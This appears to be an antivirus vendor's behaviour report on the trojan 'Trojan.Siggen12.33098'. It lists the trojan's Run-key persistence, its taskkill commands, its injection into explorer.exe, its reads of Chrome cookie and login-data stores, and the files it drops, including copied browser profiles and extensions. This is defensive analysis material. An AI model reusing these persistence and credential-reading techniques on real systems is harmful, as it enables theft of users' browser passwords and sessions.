Trojan.Siggen12.33098

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run] 'haleng' = '%TEMP%\haleng.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\firefox default browser agent 25d785d3b10544d3

Malicious functions

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f -IM "cllhjkd.exe"
'%WINDIR%\syswow64\taskkill.exe' /f /im chrome.exe

Injects code into

the following system processes:

%WINDIR%\explorer.exe

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data

Modifies file system

Creates the following files

%WINDIR%\syswow64\windowspowershell\v1.0\krsetp.exe
%WINDIR%\syswow64\windowspowershell\v1.0\md9_9sjm.exe
%WINDIR%\syswow64\windowspowershell\v1.0\aszd.exe
%WINDIR%\syswow64\windowspowershell\v1.0\cdji.exe
%WINDIR%\syswow64\windowspowershell\v1.0\cllhjkd.exe
%WINDIR%\syswow64\windowspowershell\v1.0\updhhj.exe
%WINDIR%\syswow64\windowspowershell\v1.0\pzysgf.exe
%WINDIR%\syswow64\windowspowershell\v1.0\samk.url
%WINDIR%\syswow64\windowspowershell\v1.0\mmt.exe
%HOMEPATH%\documents\vlcpvideov1.0.1\md9_9sjm.exe
%TEMP%\content\3928-3884-krsetp.exe-12-51-29-511.dump
%TEMP%\content\3928-3884-krsetp.exe-12-51-31-258.dump
%TEMP%\content\3928-3884-krsetp.exe-12-51-34-014.dump
%TEMP%\rarsfx0\ffsgf.exe
%TEMP%\haleng.exe
%TEMP%\rarsfx0\sgth.url
%TEMP%\jfiag3g_gg.exe
%TEMP%\wvijb.exe
%TEMP%\fj4ghga23_fsa.txt
%TEMP%\cc4f.tmp
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\krsetp.exe.log
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\mmt.exe.log
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\background.html
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\icon.png
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\aes.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\background.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\content.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\jquery-3.3.1.min.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\mode-ecb.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\pad-nopadding.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\srchfeedyoungie.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\manifest.json
%LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-693b2ee3-c70.pma
%TEMP%\mhpztxhl.c
%TEMP%\r_jxmqe5.u
nul
%TEMP%\egfhkjsss99\local state
%TEMP%\egfhkjsss99\safe browsing cookies
%TEMP%\egfhkjsss99\default\chromedwritefontcache
%TEMP%\egfhkjsss99\default\cookies
%TEMP%\egfhkjsss99\default\current session
%TEMP%\egfhkjsss99\default\extension cookies
%TEMP%\egfhkjsss99\default\favicons
%TEMP%\egfhkjsss99\default\google profile.ico
%TEMP%\egfhkjsss99\default\history
%TEMP%\egfhkjsss99\default\history provider cache
%TEMP%\egfhkjsss99\default\history-journal
%TEMP%\egfhkjsss99\default\login data
%TEMP%\egfhkjsss99\default\network action predictor
%TEMP%\egfhkjsss99\default\preferences
%TEMP%\egfhkjsss99\default\quotamanager
%TEMP%\egfhkjsss99\default\readme
%TEMP%\egfhkjsss99\default\secure preferences
%TEMP%\egfhkjsss99\default\shortcuts
%TEMP%\egfhkjsss99\default\top sites
%TEMP%\egfhkjsss99\default\visited links
%TEMP%\egfhkjsss99\default\web data
%TEMP%\egfhkjsss99\default\cache\data_0
%TEMP%\egfhkjsss99\default\cache\data_1
%TEMP%\egfhkjsss99\default\cache\data_2
%TEMP%\egfhkjsss99\default\cache\data_3
%TEMP%\egfhkjsss99\default\cache\index
%TEMP%\egfhkjsss99\default\databases\databases.db
%TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\current
%TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\log
%TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\manifest-000001
%TEMP%\egfhkjsss99\default\extension rules\000003.log
%TEMP%\egfhkjsss99\default\extension rules\current
%TEMP%\egfhkjsss99\default\extension rules\log
%TEMP%\egfhkjsss99\default\extension rules\manifest-000001
%TEMP%\egfhkjsss99\default\extension state\000003.log
%TEMP%\egfhkjsss99\default\extension state\current
%TEMP%\egfhkjsss99\default\extension state\log
%TEMP%\egfhkjsss99\default\extension state\manifest-000001
%TEMP%\egfhkjsss99\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\icon_128.png
%TEMP%\egfhkjsss99\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\icon_16.png
%TEMP%\egfhkjsss99\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.html
%TEMP%\egfhkjsss99\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.js
%TEMP%\dbqij0m.ffl
%TEMP%\egfhkjsss99\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\manifest.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\128.png
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\manifest.json
%TEMP%\e58nupoe.8
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ar\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\bg\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ca\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\cs\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\da\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\de\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\el\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_gb\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_us\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es_419\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\et\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\eu\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fi\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fil\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fr\messages.json
%WINDIR%\syswow64\windowspowershell\v1.0\d
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\he\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hi\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hr\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hu\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\id\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\it\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ja\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ko\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lt\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lv\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ms\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\nl\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\no\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pl\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_br\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_pt\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ro\messages.json
%TEMP%\ecv6bd5.tmp
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ru\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sk\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sl\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sr\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sv\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\th\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\tr\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\uk\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\vi\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_cn\messages.json
%TEMP%\egfhkjsss99\default\extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_tw\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\128.png
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\manifest.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ar\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\bg\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ca\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\cs\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\da\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\de\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\el\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\en\messages.json
%LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-693b2eef-69c.pma
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\es\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fi\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fil\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fr\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\he\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hi\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hr\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hu\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\id\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\it\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ja\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ko\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lt\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lv\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\nl\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\no\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pl\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_br\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_pt\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ro\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ru\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sk\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sl\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sr\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sv\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\th\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\tr\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\uk\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\vi\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_cn\messages.json
%TEMP%\egfhkjsss99\default\extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_tw\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\128.png
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\16.png
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\32.png
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\48.png
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\manifest.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ar\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\bg\messages.json
%WINDIR%\syswow64\windowspowershell\v1.0\d.integ.raw
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ca\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\cs\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\da\messages.json
%WINDIR%\syswow64\windowspowershell\v1.0\tmp.edb
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\de\messages.json
%WINDIR%\syswow64\windowspowershell\v1.0\d.jfm
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\el\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_gb\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_us\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es_419\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\et\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fi\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fil\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fr\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\he\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hi\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hr\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hu\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\id\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\it\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ja\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ko\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lt\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lv\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\nl\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\no\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pl\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_br\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_pt\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ro\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ru\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sk\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sl\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sr\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sv\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\th\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\tr\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\uk\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\vi\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_cn\messages.json
%TEMP%\egfhkjsss99\default\extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_tw\messages.json
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\background.html
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\icon.png
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\manifest.json
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\aes.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\background.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\content.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\jquery-3.3.1.min.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\mode-ecb.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\pad-nopadding.js
%TEMP%\egfhkjsss99\default\extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\js\srchfeedyoungie.js
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\128.png
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\manifest.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ar\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\bg\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ca\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\cs\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\da\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\de\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\el\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\en\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\es\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fi\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fil\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fr\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hi\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hr\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hu\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\id\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\it\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ja\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ko\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lt\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lv\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\nl\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\no\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pl\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_br\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_pt\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ro\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ru\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\se\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sk\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sl\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sr\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\th\messages.json
